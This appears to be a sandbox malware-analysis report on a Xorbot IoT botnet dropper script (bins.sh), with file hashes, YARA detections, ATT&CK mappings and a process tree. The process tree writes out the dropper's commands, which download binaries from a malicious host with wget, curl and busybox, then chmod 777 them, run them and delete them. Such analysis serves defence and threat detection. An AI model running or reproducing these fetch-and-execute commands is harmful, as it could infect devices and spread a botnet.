xorbot | e5786b748e9e0dfecf25461eaa7ed4492eed8ba1ef8f0ad3b74e00eca8e6ea4f

Analysis

max time kernel
146s
max time network
147s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
10/02/2025, 15:26

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General

Target
bins.sh
Size 10KB
Sample250210-svf8fawkbl
SHA256 e5786b748e9e0dfecf25461eaa7ed4492eed8ba1ef8f0ad3b74e00eca8e6ea4f
MD5 c87f082ef5ec16006910969ad769af88
SHA1 022c0287d5d8c32ffe3e80610c5fa4329c5d6db6
SHA512 46b0cb20255d9bc76f01218fb5c2dc433a39fc5890e8f59040ebf7de41f586cc34f46b097b1844cd522bb78511838fbeadda9bebe83bd7cdafa209acaa5c2f8b
SSDEEP 192:I05rTQBdpeEeEeheWeqBZVZ1ZwZDZnZOgBlrmheEeEeheWeq5ZVZ1ZwZDZnZOwAW:I05rTQBda7bwVZOgBlrmg7bwVZOwArTO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xorbot antivm botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 5 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-3.dat	family_xorbot
behavioral2/files/fstream-5.dat	family_xorbot
behavioral2/files/fstream-7.dat	family_xorbot
behavioral2/files/fstream-11.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
782	chmod
790	chmod
798	chmod
827	chmod
838	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh	783	bins.sh
/tmp/GTLHTl3pCK2S8jb5dGkrcNM3aNc89JwiKM	791	bins.sh
/tmp/pEg86VFahdBCkECmYA8iw6yUCMoiHWH6Sk	799	bins.sh
/tmp/pW9InR0DehjoxTq6tV25AoTx7GN09bHTcM	828	bins.sh
/tmp/Dnz4aB5ynRGq57rtSSHmpk0gYL7KDDcQuU	840	bins.sh

Checks CPU configuration 1 TTPs 6 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 12 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 18 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
803	curl
844	curl
675	wget
787	curl
794	wget
779	busybox
802	wget
795	curl
797	busybox
836	busybox
843	wget
848	busybox
759	curl
786	wget
789	busybox
826	busybox
831	wget
832	curl

Writes file to tmp directory 17 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/pW9InR0DehjoxTq6tV25AoTx7GN09bHTcM	busybox
File opened for modification	/tmp/Dnz4aB5ynRGq57rtSSHmpk0gYL7KDDcQuU	curl
File opened for modification	/tmp/Dnz4aB5ynRGq57rtSSHmpk0gYL7KDDcQuU	busybox
File opened for modification	/tmp/kJb4cOKnnKKf3XWQlEeolio9uDqASxguGX	wget
File opened for modification	/tmp/GTLHTl3pCK2S8jb5dGkrcNM3aNc89JwiKM	busybox
File opened for modification	/tmp/pW9InR0DehjoxTq6tV25AoTx7GN09bHTcM	wget
File opened for modification	/tmp/kJb4cOKnnKKf3XWQlEeolio9uDqASxguGX	curl
File opened for modification	/tmp/GTLHTl3pCK2S8jb5dGkrcNM3aNc89JwiKM	wget
File opened for modification	/tmp/pEg86VFahdBCkECmYA8iw6yUCMoiHWH6Sk	curl
File opened for modification	/tmp/sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh	wget
File opened for modification	/tmp/sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh	curl
File opened for modification	/tmp/sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh	busybox
File opened for modification	/tmp/GTLHTl3pCK2S8jb5dGkrcNM3aNc89JwiKM	curl
File opened for modification	/tmp/pEg86VFahdBCkECmYA8iw6yUCMoiHWH6Sk	wget
File opened for modification	/tmp/pEg86VFahdBCkECmYA8iw6yUCMoiHWH6Sk	busybox
File opened for modification	/tmp/pW9InR0DehjoxTq6tV25AoTx7GN09bHTcM	curl
File opened for modification	/tmp/Dnz4aB5ynRGq57rtSSHmpk0gYL7KDDcQuU	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:671
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:673
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:675
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:759
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:779
- /bin/chmod
  chmod 777 sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh
  2⤵
  - File and Directory Permissions Modification
  PID:782
- /tmp/sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh
  ./sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh
  2⤵
  PID:783
- /bin/rm
  rm sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh
  2⤵
  PID:785
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/GTLHTl3pCK2S8jb5dGkrcNM3aNc89JwiKM
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:786
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/GTLHTl3pCK2S8jb5dGkrcNM3aNc89JwiKM
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:787
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/GTLHTl3pCK2S8jb5dGkrcNM3aNc89JwiKM
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:789
- /bin/chmod
  chmod 777 GTLHTl3pCK2S8jb5dGkrcNM3aNc89JwiKM
  2⤵
  - File and Directory Permissions Modification
  PID:790
- /tmp/GTLHTl3pCK2S8jb5dGkrcNM3aNc89JwiKM
  ./GTLHTl3pCK2S8jb5dGkrcNM3aNc89JwiKM
  2⤵
  PID:791
- /bin/rm
  rm GTLHTl3pCK2S8jb5dGkrcNM3aNc89JwiKM
  2⤵
  PID:793
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/pEg86VFahdBCkECmYA8iw6yUCMoiHWH6Sk
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:794
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/pEg86VFahdBCkECmYA8iw6yUCMoiHWH6Sk
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:795
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/pEg86VFahdBCkECmYA8iw6yUCMoiHWH6Sk
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:797
- /bin/chmod
  chmod 777 pEg86VFahdBCkECmYA8iw6yUCMoiHWH6Sk
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/pEg86VFahdBCkECmYA8iw6yUCMoiHWH6Sk
  ./pEg86VFahdBCkECmYA8iw6yUCMoiHWH6Sk
  2⤵
  PID:799
- /bin/rm
  rm pEg86VFahdBCkECmYA8iw6yUCMoiHWH6Sk
  2⤵
  PID:801
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/pW9InR0DehjoxTq6tV25AoTx7GN09bHTcM
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:802
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/pW9InR0DehjoxTq6tV25AoTx7GN09bHTcM
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:803
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/pW9InR0DehjoxTq6tV25AoTx7GN09bHTcM
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:826
- /bin/chmod
  chmod 777 pW9InR0DehjoxTq6tV25AoTx7GN09bHTcM
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/pW9InR0DehjoxTq6tV25AoTx7GN09bHTcM
  ./pW9InR0DehjoxTq6tV25AoTx7GN09bHTcM
  2⤵
  PID:828
- /bin/rm
  rm pW9InR0DehjoxTq6tV25AoTx7GN09bHTcM
  2⤵
  PID:830
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Dnz4aB5ynRGq57rtSSHmpk0gYL7KDDcQuU
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:831
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Dnz4aB5ynRGq57rtSSHmpk0gYL7KDDcQuU
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:832
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Dnz4aB5ynRGq57rtSSHmpk0gYL7KDDcQuU
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:836
- /bin/chmod
  chmod 777 Dnz4aB5ynRGq57rtSSHmpk0gYL7KDDcQuU
  2⤵
  - File and Directory Permissions Modification
  PID:838
- /tmp/Dnz4aB5ynRGq57rtSSHmpk0gYL7KDDcQuU
  ./Dnz4aB5ynRGq57rtSSHmpk0gYL7KDDcQuU
  2⤵
  PID:840
- /bin/rm
  rm Dnz4aB5ynRGq57rtSSHmpk0gYL7KDDcQuU
  2⤵
  PID:842
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/kJb4cOKnnKKf3XWQlEeolio9uDqASxguGX
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:843
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/kJb4cOKnnKKf3XWQlEeolio9uDqASxguGX
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:844
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/kJb4cOKnnKKf3XWQlEeolio9uDqASxguGX
  2⤵
  - System Network Configuration Discovery
  PID:848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

Dnz4aB5ynRGq57rtSSHmpk0gYL7KDDcQuU

Path /tmp/Dnz4aB5ynRGq57rtSSHmpk0gYL7KDDcQuU
Size 151KB
SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
MD5 6c583043d91c55aa470c08c87058e917
SHA1 abf65a5b9bba69980278ad09356e53de8bb89439
SHA512 82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
SSDEEP 3072:iDTElsfhWriM4eiANlb5calmCjXswi5itRx2p:Of4HZLNlbvmCjXswi5i3x2p
MD5 SHA1 SHA512 SSDEEP

Submit Download

GTLHTl3pCK2S8jb5dGkrcNM3aNc89JwiKM

Path /tmp/GTLHTl3pCK2S8jb5dGkrcNM3aNc89JwiKM
Size 122KB
SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
MD5 cd3d4b9c643e5b473fb4d88ed05f0716
SHA1 64ee7a97418583d759eaea8000890cc3bae1b5f4
SHA512 164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
SSDEEP 3072:QON+vZgnSgtpg1sgnHgS4rpq26zEz2IyombPQbZBmf35ZYp:Q0bY3AH36y2ambPQbZBm/5ZYp
MD5 SHA1 SHA512 SSDEEP

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kJb4cOKnnKKf3XWQlEeolio9uDqASxguGX

Path /tmp/kJb4cOKnnKKf3XWQlEeolio9uDqASxguGX
Size 111KB
SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
MD5 ca897a38f23ec23521ce0b1b83f8422d
SHA1 b8d2ab335346aba9a72bae0fe3533aca1ab7b66a
SHA512 10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb
SSDEEP 3072:/hn2ZF7rLLveDuceOZ8r4xcG0m/pOQbZJXx35zzp:QZF7rLLveDYOZa46G0m/pOQbZJXx5zzp
MD5 SHA1 SHA512 SSDEEP

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pEg86VFahdBCkECmYA8iw6yUCMoiHWH6Sk

Path /tmp/pEg86VFahdBCkECmYA8iw6yUCMoiHWH6Sk
Size 107KB
SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
MD5 eb9c3a0de91fcf16ba17cb24608df68c
SHA1 09d95a7d70d5e115d103be51edff7c498d272fac
SHA512 9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
SSDEEP 3072:97fy8kXAidixidg9l8GTmNFbimQdbZ0r135z8J:9ygrhmNFGmQdbZ0rt5z8J
MD5 SHA1 SHA512 SSDEEP

Submit Download

pW9InR0DehjoxTq6tV25AoTx7GN09bHTcM

Path /tmp/pW9InR0DehjoxTq6tV25AoTx7GN09bHTcM
Size 117KB
SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
MD5 849fa04ef88a8e8de32cb2e8538de5fe
SHA1 c768af29fe4b6695fff1541623e8bbd1c6f242f7
SHA512 2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf
SSDEEP 3072:VozXHIisGFgyKB7xlBAUNFd4vm4QbZJmf35zPp:bGmyKBxl2U+vm4QbZJm/5zPp
MD5 SHA1 SHA512 SSDEEP

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sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh

Path /tmp/sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh
Size 98KB
SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
MD5 5141342d0df8699fa32a6b066a0c592e
SHA1 8157673225bd5182f16215e2aa823a25ca2d4fbc
SHA512 d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
SSDEEP 3072:lxvAwSaWFr5Ryrfb3jb9RxqgRfEma1b5wdL35sPX:32FrIT3/9jqgmma1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads